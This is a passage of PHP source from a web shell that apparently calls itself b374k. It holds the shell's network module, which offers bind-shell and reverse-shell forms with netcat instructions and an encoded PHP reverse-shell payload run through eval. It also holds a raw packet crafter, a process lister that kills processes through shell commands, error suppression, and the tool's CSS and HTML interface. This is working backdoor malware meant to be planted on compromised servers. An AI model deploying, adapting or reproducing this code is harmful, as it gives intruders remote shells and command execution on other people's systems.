|
||
|
output("Failed to send mail");
|
||
|
}
|
||
|
|
||
|
$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:"";
|
||
|
$remote_addr = isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR']:"";
|
||
|
$default_port = 13123;
|
||
|
$winbinary = (strtolower(substr(php_uname(),0,3))=="win")? "<option>executable</option>":"";
|
||
|
|
||
|
$GLOBALS['resources']['rs_php'] = "7VRNj9s2ED3bv0JRBSyFKrZlFwiwLjeX9lggaAv0kN0KMkWtCEsiy6FqB9397x1+yB8bZzdIg15aGJbIGc6b4czT+/6tatT0m6gxRsH1fH4vTDNsZkx2883qzXdb/5xyraUuNFdSG9Hfk0W6ngI3hREdL1rRCeNMclOITrWCCVPU7QANQeM0MaW+5wYo36tWVpzEUZwFI/oTBjRfrd7galfSfmhbXPHDChoaYyAmjn798eef6N5w3a3f/ZLTq9vk3W8/3Fytgxtt6/lG9HNootcixtiOxq7+CBrettF1xGTfc2Z4ddujfypqwuTQGzKWmFKap39NJ4miwbTGDVYQ27dBONFXuH6c8hb4pfDleTi8X9x5iIMhvxuxSrZ1WLaOeuiZEbIv+F6AAXKlWG/aopZ6e5V6TFHRo9F2doJxzkxf5ynGGZKfWL1lESxKgtgXODMQFUnPI3wFWFK4n0sHFIzmZVeAZFscNXD9J9ckNkwhTxYz97uOZ4nKEqRHL90LY2zCMTRQRA7YI8hWrpiEPUEuGePKHgilotfIVu4wGwwb3BHkaDH0ZcdJmi2yVYr1xzvRu0In9U4Lw0nCsqSbYYfZDi84i29iCzfZNaJFp3pFaV3izFyIHVBth4FR7pTrkOb3RVca1pB4zqrbiLz//Rbuvk3nAumKt9Q69dGTpKoobv0ofbSAohKaoCdNWTMuvTuR9LQuZ3y0j0Aio0V3eutEuRva+cTRw0P0Cf8fA/rTaIO93K5HuAiT8b29MeZCls8+ynzSL+kKtKXUrJXAx3aMOzcRdFvgp612B5MKaKl1+YEs6I1fxEooHmexjtMsf2rcoXF5wejBlKZKS1ZIxXtM3mQIj50XyrmxUa+wy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VpsFhEIgHB0VFxMaHB6CxiYnKAKIk8I2fmNAtLZGIoXSiRqpVifxIAQRskNQ6bXylhtVD6njqPGYhXKL/rqrkOLUzNW6eChDBWJFo63lv7zXbbrPU+CfJMuSJHDmUVjshrxtUixYYPFGmLJAqGUgHXX5J1kRV7s9er6GEeJJ/5NdluqRLhkvfFhs+whf0Qzspoa7d/4ysE834sgNlJxMylgGAJxi3f8fkWWd9lBKEAXCpRiw2mgjLVBCeV6mvFowZg7+E17kdu5iyJaDKlSevypzyxoSRrrpkKhpHpC6T0xs6p6hr7rHmQrSbDdlnSXcpBN8IR2/AkTtmX7BqWzDgMlV6LC04oOjVYNw5GkAUg1c85oOWTkeHOYuDrYixI0eIWiyhhGxtT6sznm4PJmTa7bQqkvbn8lt044Oxj890l3VtssRWUIGuBliVcQf8yrb1NgGMu2Ts7m1+pyXliaZ9LxRQtm2YQBCFaq43F+t24sKJPh3dN9lDjGTDp6rVms5OEGkPDxnZSs0vwmZaTrWvuOdW/HJZuiNaCxbjdTU9IvkHkjVRv4xE7znX3qLvvTq+n0pMLIEffpLXVV/wE5yHZO9wEu
|
||
|
|
||
|
$GLOBALS['module']['network']['id'] = "network";
|
||
|
$GLOBALS['module']['network']['title'] = "Network";
|
||
|
$GLOBALS['module']['network']['js_ontabselected'] = "";
|
||
|
$GLOBALS['module']['network']['content'] = "
|
||
|
<table class='boxtbl'>
|
||
|
<thead>
|
||
|
<tr><th colspan='2'><p class='boxtitle'>Bind Shell</p></th></tr>
|
||
|
</thead>
|
||
|
<tbody>
|
||
|
<tr><td style='width:144px'>Server IP</td><td><input type='text' id='bindAddr' value='".$server_addr."' disabled></td></tr>
|
||
|
<tr><td>Port</td><td><input type='text' id='bindPort' value='".$default_port."' onkeydown=\"trap_enter(event, 'rs_go_bind');\"></td></tr>
|
||
|
</tbody>
|
||
|
<tfoot>
|
||
|
<tr>
|
||
|
<td style='width:144px;'>
|
||
|
<select id='bindLang' class='rsType'>
|
||
|
".$winbinary."
|
||
|
</select>
|
||
|
</td>
|
||
|
<td><span class='button' onclick=\"rs_go_bind();\" style='width:120px;'>run</span></td>
|
||
|
</tr>
|
||
|
<tr><td colspan='2'><pre id='bindResult'>Press ' run ' button and run ' nc server_ip port ' on your computer</pre></td></tr>
|
||
|
</tfoot>
|
||
|
</table>
|
||
|
<br>
|
||
|
<table class='boxtbl'>
|
||
|
<thead>
|
||
|
<tr><th colspan='2'><p class='boxtitle'>Reverse Shell</p></th></tr>
|
||
|
</thead>
|
||
|
<tbody>
|
||
|
<tr><td style='width:144px'>Target IP</td><td><input type='text' id='backAddr' value='".$remote_addr."' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>
|
||
|
<tr><td>Port</td><td><input type='text' id='backPort' value='".$default_port."' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>
|
||
|
</tbody>
|
||
|
<tfoot>
|
||
|
<tr>
|
||
|
<td style='width:144px;'>
|
||
|
<select id='backLang' class='rsType'>
|
||
|
".$winbinary."
|
||
|
</select>
|
||
|
</td>
|
||
|
<td><span class='button' onclick=\"rs_go('back');\" style='width:120px;'>run</span></td>
|
||
|
</tr>
|
||
|
<tr><td colspan='2'><pre id='backResult'>Run ' nc -l -v -p port ' on your computer and press ' run ' button</pre></td></tr>
|
||
|
</tfoot>
|
||
|
</table>
|
||
|
<br>
|
||
|
<table class='boxtbl'>
|
||
|
<thead>
|
||
|
<tr><th colspan='2'><p class='boxtitle'>Simple Packet Crafter</p></th></tr>
|
||
|
</thead>
|
||
|
<tbody>
|
||
|
<tr><td style='width:120px'>Host</td><td><input type='text' id='packetHost' value='tcp://".$server_addr."' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
|
||
|
<tr><td>Start Port</td><td><input type='text' id='packetStartPort' value='80' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
|
||
|
<tr><td>End Port</td><td><input type='text' id='packetEndPort' value='80' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
|
||
|
<tr><td>Connection Timeout</td><td><input type='text' id='packetTimeout' value='5' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
|
||
|
<tr><td>Stream Timeout</td><td><input type='text' id='packetSTimeout' value='5' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
|
||
|
</tbody>
|
||
|
<tfoot>
|
||
|
<tr><td colspan='2'><textarea id='packetContent' style='height:140px;min-height:140px;'>GET / HTTP/1.1\\r\\n\\r\\n</textarea></td></tr>
|
||
|
<tr>
|
||
|
<td>
|
||
|
<span class='button' onclick=\"packet_go();\" style='width:120px;'>run</span>
|
||
|
</td>
|
||
|
<td>You can also press ctrl+enter to submit</td>
|
||
|
</tr>
|
||
|
<tr><td colspan='2'><div id='packetResult'></div></td></tr>
|
||
|
</tfoot>
|
||
|
</table>
|
||
|
";
|
||
|
|
||
|
|
||
|
if(isset($p['rsLang']) && isset($p['rsArgs'])){
|
||
|
$rsLang = $p['rsLang'];
|
||
|
$rsArgs = $p['rsArgs'];
|
||
|
$res = "";
|
||
|
|
||
|
if($rsLang=="php"){
|
||
|
$code = get_resource("rs_".$rsLang);
|
||
|
if($code!==false){
|
||
|
$code = "\$target = \"".$rsArgs."\"; ?>".$code;
|
||
|
$res = eval_go($rsLang, $code, "", "");
|
||
|
}
|
||
|
}
|
||
|
else{
|
||
|
$code = get_resource("rs_".$rsLang);
|
||
|
if($code!==false){
|
||
|
$res = eval_go($rsLang, $code, "", $rsArgs);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if($res===false) $res == "error";
|
||
|
output(html_safe($res));
|
||
|
}
|
||
|
elseif(isset($p['packetTimeout'])&&isset($p['packetSTimeout'])&&isset($p['packetPort'])&&isset($p['packetTimeout'])&&isset($p['packetContent'])){
|
||
|
$packetHost = trim($p['packetHost']);
|
||
|
if(!preg_match("/[a-z0-9]+:\/\/.*/", $packetHost)) $packetHost = "tcp://".$packetHost;
|
||
|
|
||
|
$packetPort = (int) $p['packetPort'];
|
||
|
|
||
|
$packetTimeout = (int) $p['packetTimeout'];
|
||
|
$packetSTimeout = (int) $p['packetSTimeout'];
|
||
|
|
||
|
$packetContent = $p['packetContent'];
|
||
|
if(ctype_xdigit($packetContent)) $packetContent = @pack("H*" , $packetContent);
|
||
|
else{
|
||
|
$packetContent = str_replace(array("\r","\n"), "", $packetContent);
|
||
|
$packetContent = str_replace(array("\\r","\\n"), array("\r", "\n"), $packetContent);
|
||
|
}
|
||
|
|
||
|
$res = "";
|
||
|
|
||
|
|
||
|
$sock = fsockopen($packetHost, $packetPort, $errNo, $errStr, $packetTimeout);
|
||
|
if(!$sock){
|
||
|
$res .= "<div class='weak'>";
|
||
|
$res .= html_safe(trim($errStr))." (error ".html_safe(trim($errNo)).")</div>";
|
||
|
}
|
||
|
else{
|
||
|
stream_set_timeout($sock, $packetSTimeout);
|
||
|
fwrite($sock, $packetContent."\r\n\r\n\x00");
|
||
|
$counter = 0;
|
||
|
$maxtry = 1;
|
||
|
$bin = "";
|
||
|
do{
|
||
|
$line = fgets($sock, 1024);
|
||
|
if(trim($line)=="") $counter++;
|
||
|
$bin .= $line;
|
||
|
}while($counter<$maxtry);
|
||
|
fclose($sock);
|
||
|
$res .= "<table class='boxtbl'><tr><td><textarea style='height:140px;min-height:140px;'>".html_safe($bin)."</textarea></td></tr>";
|
||
|
$res .= "<tr><td><textarea style='height:140px;min-height:140px;'>".bin2hex($bin)."</textarea></td></tr></table>";
|
||
|
}
|
||
|
|
||
|
output($res);
|
||
|
}
|
||
|
|
||
|
$GLOBALS['module']['processes']['id'] = "processes";
|
||
|
$GLOBALS['module']['processes']['title'] = "Processes";
|
||
|
$GLOBALS['module']['processes']['js_ontabselected'] = "show_processes();";
|
||
|
$GLOBALS['module']['processes']['content'] = "";
|
||
|
|
||
|
if(!function_exists('show_processes')){
|
||
|
function show_processes(){
|
||
|
$output = '';
|
||
|
$wcount = 11;
|
||
|
if(is_win()){
|
||
|
$cmd = "tasklist /V /FO csv";
|
||
|
$wexplode = "\",\"";
|
||
|
}
|
||
|
else{
|
||
|
$cmd = "ps aux";
|
||
|
$wexplode = " ";
|
||
|
}
|
||
|
|
||
|
$res = execute($cmd);
|
||
|
if(trim($res)=='') return false;
|
||
|
else{
|
||
|
$output .= "<table id='psTable' class='dataView sortable'>";
|
||
|
if(!is_win()) $res = preg_replace('#\ +#',' ',$res);
|
||
|
|
||
|
$psarr = explode("\n",$res);
|
||
|
$fi = true;
|
||
|
$tblcount = 0;
|
||
|
|
||
|
$check = explode($wexplode,$psarr[0]);
|
||
|
$wcount = count($check);
|
||
|
|
||
|
foreach($psarr as $psa){
|
||
|
if(trim($psa)!=''){
|
||
|
if($fi){
|
||
|
$fi = false;
|
||
|
$psln = explode($wexplode, $psa, $wcount);
|
||
|
$output .= "<tr><th class='col-cbox sorttable_nosort'><div class='cBoxAll'></div></th><th class='sorttable_nosort'>action</th>";
|
||
|
foreach($psln as $p) $output .= "<th>".trim(trim(strtolower($p)) ,"\"")."</th>";
|
||
|
$output .= "</tr>";
|
||
|
}
|
||
|
else{
|
||
|
$psln = explode($wexplode, $psa, $wcount);
|
||
|
$pid = trim(trim($psln[1]),"\"");
|
||
|
$tblcount = 0;
|
||
|
$output .= "<tr data-pid='".$pid."'>";
|
||
|
|
||
|
foreach($psln as $p){
|
||
|
if(trim($p)=="") $p = " ";
|
||
|
$p = trim(trim($p) ,"\"");
|
||
|
$p = html_safe($p);
|
||
|
if($tblcount == 0){
|
||
|
$output .= "<td><div class='cBox'></div></td><td><a class='kill'>kill</a></td><td>".$p."</td>";
|
||
|
$tblcount++;
|
||
|
}
|
||
|
else{
|
||
|
$tblcount++;
|
||
|
if($tblcount == count($psln)) $output .= "<td style='text-align:left;'>".$p."</td>";
|
||
|
else $output .= "<td style='text-align:center;'>".$p."</td>";
|
||
|
}
|
||
|
}
|
||
|
$output .= "</tr>";
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
$colspan = count($psln)+1;
|
||
|
$colspanAll = $colspan+1;
|
||
|
$output .= "<tfoot><tr><td><div class='cBoxAll'></div></td><td colspan=".$colspan." style='text-align:left;'><span class='button' onclick='kill_selected();' style='margin-right:8px;'>kill selected</span><span class='button' onclick='show_processes();'>refresh</span><span class='psSelected'></span></td></tr></tfoot></table>";
|
||
|
}
|
||
|
return $output;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
|
||
|
if(isset($p['showProcesses'])){
|
||
|
$processes = show_processes();
|
||
|
if($processes!==false) output($processes);
|
||
|
output('error');
|
||
|
}
|
||
|
elseif(isset($p['allPid'])){
|
||
|
$allPid = explode(" ", $p['allPid']);
|
||
|
$counter = 0;
|
||
|
foreach($allPid as $pid){
|
||
|
$pid = trim($pid);
|
||
|
if(!empty($pid)){
|
||
|
if(function_exists("posix_kill")){
|
||
|
if(posix_kill($pid,'9')) $counter++;
|
||
|
}
|
||
|
else{
|
||
|
if(is_win()){
|
||
|
$cmd = execute("taskkill /F /PID ".$pid);
|
||
|
$cmd = execute("tasklist /FI \"PID eq ".$pid."\"");
|
||
|
if(strpos($cmd,"No tasks are running")!==false) $counter++;
|
||
|
}
|
||
|
else{
|
||
|
$cmd = execute("kill -9 ".$pid);
|
||
|
if((strpos($cmd, "such process")===false)&&(strpos($cmd, "not permitted")===false)){
|
||
|
$cmd = trim(execute("ps -p ".$pid));
|
||
|
$check = explode("\n", $cmd);
|
||
|
if(count($check)==1) $counter++;
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
if($counter>0) output($counter);
|
||
|
else output('error');
|
||
|
}
|
||
|
|
||
|
$error = @ob_get_contents();
|
||
|
$error_html = (!empty($error))?"<pre class='phpError border'>".str_replace("\n\n", "\n", html_safe($error))."</pre>":"";
|
||
|
@ob_end_clean();
|
||
|
error_reporting(0);
|
||
|
@ini_set('display_errors','0');
|
||
|
|
||
|
|
||
|
?><!doctype html>
|
||
|
<html>
|
||
|
<head>
|
||
|
<title><?php echo $GLOBALS['title']." ".$GLOBALS['ver'];?></title>
|
||
|
<meta charset='utf-8'>
|
||
|
<meta name='robots' content='noindex, nofollow, noarchive'>
|
||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0">
|
||
|
<link rel='SHORTCUT ICON' href='<?php echo get_resource('b374k');?>'>
|
||
|
<style type="text/css">
|
||
|
@font-face {
|
||
|
font-family:'ubuntumono';
|
||
|
src:url(data:application/x-font-woff;charset=utf-8;base64,d09GRgABAAAAAGkYAA8AAAAAp+gAAQABAAAAAAAAAAAAAAAAAAAAAAAAAABGRlRNAAABWAAAABwAAAAcXhqiC09TLzIAAAF0AAAAXAAAAGCIf+2fY21hcAAAAdAAAAGQAAAB8qDpr+VjdnQgAAADYAAAAI4AAAIIC3AUx2ZwZ20AAAPwAAADewAABiN2vUTEZ2FzcAAAB2wAAAAIAAAACP//AANnbHlmAAAHdAAAWX4AAI8gtk/BKGhlYWQAAGD0AAAAMgAAADb2ffhhaGhlYQAAYSgAAAAdAAAAJAU1Ap5obXR4AABhSAAAAQ8AAAG8JqQbMGxvY2EAAGJYAAABtgAAAbbgHbwybWF4cAAAZBAAAAAgAAAAIAb/CJxuYW1lAABkMAAAAhwAAAWUD/sQynBvc3QAAGZMAAABeAAAAhhGAhHOcHJlcAAAZ8QAAAFTAAABipI+L6QAAAABAAAAAMmJbzEAAAAAyeW+ywAAAADKq3QOeAFjYGb8wTiBgZWBgWkPUxcDA0MPhGa8y2DE8Asoys3KyczGxMzE8oCB6X8Ag0I0AxS4OPo6MjgwcHxgYNr6P5rBkNmOYZUCA8P8MEag7gtM2UAlCgyMAF+qEYV4AWJgYGCGYhkGRgYQeAPkMYL5LAwXgLQBgwKQJQBkcTLwMsgy1DH8ZzRkDGY6xnSL6Y6CiIKUgpyCkoKVgotCicIaJdEH/9///cDw/z/YLA6QDqD+BUAdQVAdwgoSCjJAHZYYOhj///z/9f+T/4//H/o/8X/h3/9/3/x9/WDrg00PNj5Y92DGg/4HCQ807x2UvyFwW+Am0I0kA0Y2IIaxmYAEE7oCYFCwsLKxc3Bycf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
||
|
*{
|
||
|
font-family:ubuntumono;
|
||
|
margin:0;
|
||
|
padding:0;
|
||
|
border:0;
|
||
|
-webkit-box-sizing:border-box;
|
||
|
-moz-box-sizing:border-box;
|
||
|
box-sizing:border-box;
|
||
|
font-size:12px;
|
||
|
font-weight:normal;
|
||
|
}
|
||
|
input:focus, select:focus, textarea:focus, button:focus{
|
||
|
outline:none;
|
||
|
}
|
||
|
html, body{
|
||
|
width:100%;
|
||
|
height:100%;
|
||
|
color:#222222;
|
||
|
}
|
||
|
body{
|
||
|
background:#f0f0f0;
|
||
|
line-height:17px;
|
||
|
}
|
||
|
a{
|
||
|
text-decoration:none;
|
||
|
color:#000000;
|
||
|
}
|
||
|
a:hover{
|
||
|
cursor:pointer;
|
||
|
}
|
||
|
p{
|
||
|
padding:8px 0;
|
||
|
}
|
||
|
img{
|
||
|
vertical-align:middle;
|
||
|
}
|
||
|
table{
|
||
|
width:100%;
|
||
|
}
|
||
|
table td, table th{
|
||
|
vertical-align:middle;
|
||
|
padding:8px;
|
||
|
}
|
||
|
textarea, input, select{
|
||
|
background:#ffffff;
|
||
|
padding:8px;
|
||
|
border-radius:8px;
|
||
|
color:#111111;
|
||
|
border:1px solid #dddddd;
|
||
|
}
|
||
|
textarea{
|
||
|
resize:vertical;
|
||
|
width:100%;
|
||
|
height:300px;
|
||
|
min-height:300px;
|
||
|
max-width:100%;
|
||
|
min-width:100%;
|
||
|
}
|
||
|
hr{
|
||
|
margin:8px 0;
|
||
|
border-bottom:1px dashed #dddddd;
|
||
|
}
|
||
|
video{
|
||
|
width:100%;
|
||
|
background:#222222;
|
||
|
border-radius:8px;
|
||
|
}
|
||
|
h1, h2{
|
||
|
background:#E7E7E7;
|
||
|
border-bottom: 1px solid #cccccc;
|
||
|
color:#000000;
|
||
|
border-radius:8px;
|
||
|
text-align:center;
|
||
|
cursor:pointer;
|
||
|
padding:8px;
|
||
|
margin-bottom:8px;
|
||
|
}
|
||
|
h1 a, h2 a{
|
||
|
color:#000000;
|
||
|
}
|
||
|
pre, #viewFilecontent{
|
||
|
word-break:break-all;
|
||
|
word-wrap:break-word;
|
||
|
}
|
||
|
pre{
|
||
|
white-space:pre-wrap;
|
||
|
}
|
||
|
#b374k{
|
||
|
cursor:pointer;
|
||
|
}
|
||
|
#header{
|
||
|
width:100%;
|
||
|
position:fixed;
|
||
|
}
|
||
|
#headerNav{
|
||
|
padding:10px 8px 6px 8px;
|
||
|
background:#333333;
|
||
|
}
|
||
|
#headerNav img{
|
||
|
margin:0 4px;
|
||
|
}
|
||
|
#headerNav a{
|
||
|
color:#efefef;
|
||
|
}
|
||
|
#menu{
|
||
|
background:#7C94A8;
|
||
|
height:33px;
|
||
|
border-bottom:3px solid #CCCFD1;
|
||
|
}
|
||
|
#menu .menuitem{
|
||
|
padding:7px 12px 6px 12px;
|
||
|
float:left;
|
||
|
height:30px;
|
||
|
background:#7C94A8;
|
||
|
color:#ffffff;
|
||
|
cursor:pointer;
|
||
|
}
|
||
|
#menu .menuitem:hover, #menu .menuitemSelected{
|
||
|
background:#768999;
|
||
|
color:#ffffff;
|
||
|
}
|
||
|
#menu .menuitemSelected{
|
||
|
background:#768999;
|
||
|
}
|
||
|
#basicInfo{
|
||
|
width:100%;
|
||
|
padding:8px;
|
||
|
border-bottom:1px dashed #dddddd;
|
||
|
}
|
||
|
#content{
|
||
|
background:#f0f0f0;
|
||
|
height:100%;
|
||
|
padding:66px 8px 8px 8px;
|
||
|
}
|
||
|
#content .menucontent{
|
||
|
background:#f0f0f0;
|
||
|
clear:both;
|
||
|
display:none;
|
||
|
padding:8px;
|
||
|
overflow-x:auto;
|
||
|
overflow-y:hidden;
|
||
|
}
|
||
|
#overlay{
|
||
|
position:fixed;
|
||
|
top:0px;
|
||
|
left:0px;
|
||
|
width:100%;
|
||
|
height:100%;
|
||
|
display:none;
|
||
|
}
|
||
|
#loading{
|
||
|
width:64px;
|
||
|
height:64px;
|
||
|
background:#7C94A8;
|
||
|
border-radius:32px 0 32px 0;
|
||
|
margin:auto;
|
||
|
vertical-align:middle;
|
||
|
}
|
||
|
#ulDragNDrop{
|
||
|
padding:32px 0;
|
||
|
text-align:center;
|
||
|
background:#7C94A8;
|
||
|
border-radius:8px;
|
||
|
color:#ebebeb;
|
||
|
}
|
||
|
#form{
|
||
|
display:none;
|
||
|
}
|
||
|
#devTitle{
|
||
|
background:#ebebeb;
|
||
|
}
|
||
|
.box{
|
||
|
min-width:50%;
|
||
|
border:1px solid #dddddd;
|
||
|
padding:8px 8px 0 8px;
|
||
|
border-radius:8px;
|
||
|
position:fixed;
|
||
|
background:#ebebeb;
|
||
|
opacity:1;
|
||
|
box-shadow:1px 1px 25px #150f0f;
|
||
|
opacity:0.98;
|
||
|
}
|
||
|
.boxtitle{
|
||
|
background:#dddddd;
|
||
|
border: 1px solid #cccccc;
|
||
|
color:#000000;
|
||
|
border-radius:8px;
|
||
|
text-align:center;
|
||
|
cursor:pointer;
|
||
|
}
|
||
|
.boxtitle a, .boxtitle a:hover{
|
||
|
color:#000000;
|
||
|
}
|
||
|
.boxcontent{
|
||
|
padding:2px 0 2px 0;
|
||
|
}
|
||
|
.boxresult{
|
||
|
padding:4px 10px 6px 10px;
|
||
|
border-top:1px solid #dddddd;
|
||
|
margin-top:4px;
|
||
|
text-align:center;
|
||
|
}
|
||
|
.boxtbl{
|
||
|
border:1px solid #dddddd;
|
||
|
border-radius:8px;
|
||
|
padding-bottom:8px;
|
||
|
background:#ebebeb;
|
||
|
}
|
||
|
.boxtbl td{
|
||
|
vertical-align:middle;
|
||
|
padding:8px 15px;
|
||
|
border-bottom:1px dashed #dddddd;
|
||
|
}
|
||
|
.boxtbl input, .boxtbl select, .boxtbl .button{
|
||
|
width:100%;
|
||
|
}
|
||
|
.boxlabel{
|
||
|
text-align: center;
|
||
|
border-bottom:1px solid #dddddd;
|
||
|
padding-bottom:8px;
|
||
|
}
|
||
|
.boxclose{
|
||
|
background:#222222;
|
||
|
border-radius:3px;
|
||
|
margin-right:8px;
|
||
|
margin-top:-3px;
|
||
|
padding:2px 8px;
|
||
|
cursor:pointer;
|
||
|
color:#ffffff;
|
||
|
}
|
||
|
.strong{
|
||
|
color:#7C94A8;
|
||
|
text-shadow:0px 0px 1px #C0DCF5;
|
||
|
}
|
||
|
.weak{
|
||
|
color:#666666;
|
||
|
}
|
||
|
.button{
|
||
|
min-width:120px;
|
||
|
width:120px;
|
||
|
margin:2px;
|
||
|
color:#ffffff;
|
||
|
background:#7C94A8;
|
||
|
border:none;
|
||
|
padding:8px;
|
||
|
border-radius:8px;
|
||
|
display:block;
|
||
|
text-align:center;
|
||
|
float:left;
|
||
|
cursor:pointer;
|
||
|
}
|
||
|
.button:hover, #ulDragNDrop:hover{
|
||
|
background:#768999;
|
||
|
}
|
||
|
.floatLeft{
|
||
|
float:left;
|
||
|
}
|
||
|
.floatRight{
|
||
|
float:right;
|
||
|
}
|
||
|
.colFit{
|
||
|
width:1px;
|
||
|
white-space:nowrap;
|
||
|
}
|
||
|
.colSpan{
|
||
|
width:100%;
|
||
|
}
|
||
|
.border{
|
||
|
border:1px solid #dddddd;
|
||
|
background:#ebebeb;
|
||
|
border-radius:8px;
|
||
|
padding:8px;
|
||
|
}
|
||
|
.borderbottom{
|
||
|
border-bottom:1px dashed #dddddd;
|
||
|
}
|
||
|
.borderright{
|
||
|
border-right:1px dashed #dddddd;
|
||
|
}
|
||
|
.borderleft{
|
||
|
border-left:1px dashed #dddddd;
|
||
|
}
|
||
|
.hr td{
|
||
|
border-bottom:1px dashed #dddddd;
|
||
|
}
|
||
|
.cBox, .cBoxAll{
|
||
|
width:10px;
|
||
|
height:10px;
|
||
|
border:1px solid #7C94A8;
|
||
|
border-radius:5px;
|
||
|
margin:auto;
|
||
|
float:left;
|
||
|
margin:3px 6px 2px 6px;
|
||
|
cursor:pointer;
|
||
|
}
|
||
|
.cBoxSelected{
|
||
|
background:#7C94A8;
|
||
|
}
|
||
|
.action, .actionfolder, .actiondot{
|
||
|
cursor:pointer;
|
||
|
}
|
||
|
.phpError{
|
||
|
padding:8px;
|
||
|
margin:8px 0;
|
||
|
text-align:center;
|
||
|
}
|
||
|
.dataView td, .dataView th, #viewFile td{
|
||
|
vertical-align:top;
|
||
|
border-bottom:1px dashed #dddddd;
|
||
|
}
|
||
|
.dataView tbody tr:hover{
|
||
|
background:#ebebeb;
|
||
|
}
|
||
|
.dataView th{
|
||
|
vertical-align:middle;
|
||
|
border-bottom:0;
|
||
|
background:#e0e0e0;
|
||
|
}
|
||
|
.dataView tfoot td{
|
||
|
vertical-align:middle;
|
||
|
}
|
||
|
.dataView .col-cbox{
|
||
|
text-align:center;
|
||
|
width:20px;
|
||
|
}
|
||
|
.dataView .col-size{
|
||
|
width:70px;
|
||
|
}
|
||
|
#xplTable tr>td:nth-child(3){
|
||
|
text-align:left;
|
||
|
}
|
||
|
#xplTable tr>td:nth-child(4),#xplTable tr>td:nth-child(5),#xplTable tr>td:nth-child(6){
|
||
|
text-align:center;
|
||
|
}
|
||
|
.dataView .col-owner{
|
||
|
width:140px;
|
||
|
min-width:140px;
|
||
|
text-align:center;
|
||
|
}
|
||
|
.dataView .col-perms{
|
||
|
width:80px;
|
||
|
text-align:center;
|
||
|
}
|
||
|
.dataView .col-modified{
|
||
|
width:150px;
|
||
|
text-align:center;
|
||
|
}
|
||
|
.sortable th{
|
||
|
cursor:pointer;
|
||
|
}
|
||
|
#xplTable td{
|
||
|
white-space:nowrap;
|
||
|
}
|
||
|
#viewFile td{
|
||
|
text-align:left;
|
||
|
}
|
||
|
#viewFilecontent{
|
||
|
padding:8px;
|
||
|
border:1px solid #dddddd;
|
||
|
border-radius:8px;
|
||
|
}
|
||
|
#terminalPrompt td{
|
||
|
padding:0;
|
||
|
}
|
||
|
#terminalInput{
|
||
|
background:none;
|
||
|
border:none;
|
||
|
padding:0;
|
||
|
width:100%;
|
||
|
}
|
||
|
#evalAdditional{
|
||
|
display:none;
|
||
|
}
|
||
|
.hl_default{
|
||
|
color:#517797;
|
||
|
}
|
||
|
.hl_keyword{
|
||
|
color:#00BB00;
|
||
|
}
|
||
|
.hl_string{
|
||
|
color:#000000;
|
||
|
}
|
||
|
.hl_html{
|
||
|
color:#CE5403;
|
||
|
}
|
||
|
.hl_comment{
|
||
|
color:#7F9F7F;
|
||
|
}
|
||
|
#navigation{position:fixed;left:-16px;top:46%;}
|
||
|
#totop,#tobottom,#toggleBasicInfo{background:url('<?php echo get_resource('arrow');?>');width:32px;height:32px;opacity:0.30;margin:18px 0;cursor:pointer;}
|
||
|
#totop:hover,#tobottom:hover{opacity:0.80;}
|
||
|
#toggleBasicInfo{display:none;float:right;margin:0;}
|
||
|
#basicInfoSplitter{display:none;}
|
||
|
#tobottom{-webkit-transform:scaleY(-1);-moz-transform:scaleY(-1);-o-transform:scaleY(-1);transform:scaleY(-1);filter:FlipV;-ms-filter:"FlipV";}
|
||
|
#showinfo{float:right;display:none;}
|
||
|
#logout{float:right;}
|
||
|
</style>
|
||
|
</head>
|
||
|
<body>
|
||
|
<!--wrapper start-->
|
||
|
<div id='wrapper'>
|
||
|
<!--header start-->
|
||
|
<div id='header'>
|
||
|
<!--header info start-->
|
||
|
<div id='headerNav'>
|
||
|
<span><a onclick="set_cookie('cwd', '');" href='<?php echo get_self(); ?>'><?php echo $GLOBALS['title']." ".$GLOBALS['ver']?></a></span>
|
||
|
<img onclick='viewfileorfolder();' id='b374k' src='<?php echo get_resource('b374k');?>' /> <span id='nav'><?php echo $nav; ?></span>
|
||
|
|
||
|
<a class='boxclose' id='logout' title='log out'>x</a>
|
||
|
<a class='boxclose' id='showinfo' title='show info'>v</a>
|
||
|
</div>
|
||
|
<!--header info end-->
|
||
|
|
||
|
<!--menu start-->
|
||
|
<div id='menu'>
|
||
|
<?php
|
||
|
foreach($GLOBALS['module_to_load'] as $k){
|
||
|
echo "<a class='menuitem' id='menu".$GLOBALS['module'][$k]['id']."' href='#!".$GLOBALS['module'][$k]['id']."'>".$GLOBALS['module'][$k]['title']."</a>";
|
||
|
}
|
||
|
?>
|
||
|
</div>
|
||
|
<!--menu end-->
|
||
|
|
||
|
</div>
|
||
|
<!--header end-->
|
||
|
|
||
|
<!--content start-->
|
||
|
<div id='content'>
|
||
|
<!--server info start-->
|
||
|
<div id='basicInfo'>
|
||
|
<div id='toggleBasicInfo'></div>
|
||
|
<?php
|
||
|
echo $error_html;
|
||
|
foreach(get_server_info() as $k=>$v){
|
||
|
echo "<div>".$v."</div>";
|
||
|
}
|
||
|
?>
|
||
|
</div>
|
||
|
<!--server info end-->
|
||
|
|
||
|
<?php
|
||
|
foreach($GLOBALS['module_to_load'] as $k){
|
||
|
$content = $GLOBALS['module'][$k]['content'];
|
||
|
echo "<div class='menucontent' id='".$GLOBALS['module'][$k]['id']."'>".$content."</div>";
|
||
|
}
|
||
|
?>
|
||
|
</div>
|
||
|
<!--content end-->
|
||
|
|
||
|
</div>
|
||
|
<!--wrapper end-->
|
||
|
<div id='navigation'>
|
||
|
<div id='totop'></div>
|
||
|
<div id='tobottom'></div>
|
||
|
</div>
|
||
|
<table id="overlay"><tr><td><div id="loading" ondblclick='loading_stop();'></div></td></tr></table>
|
||
|
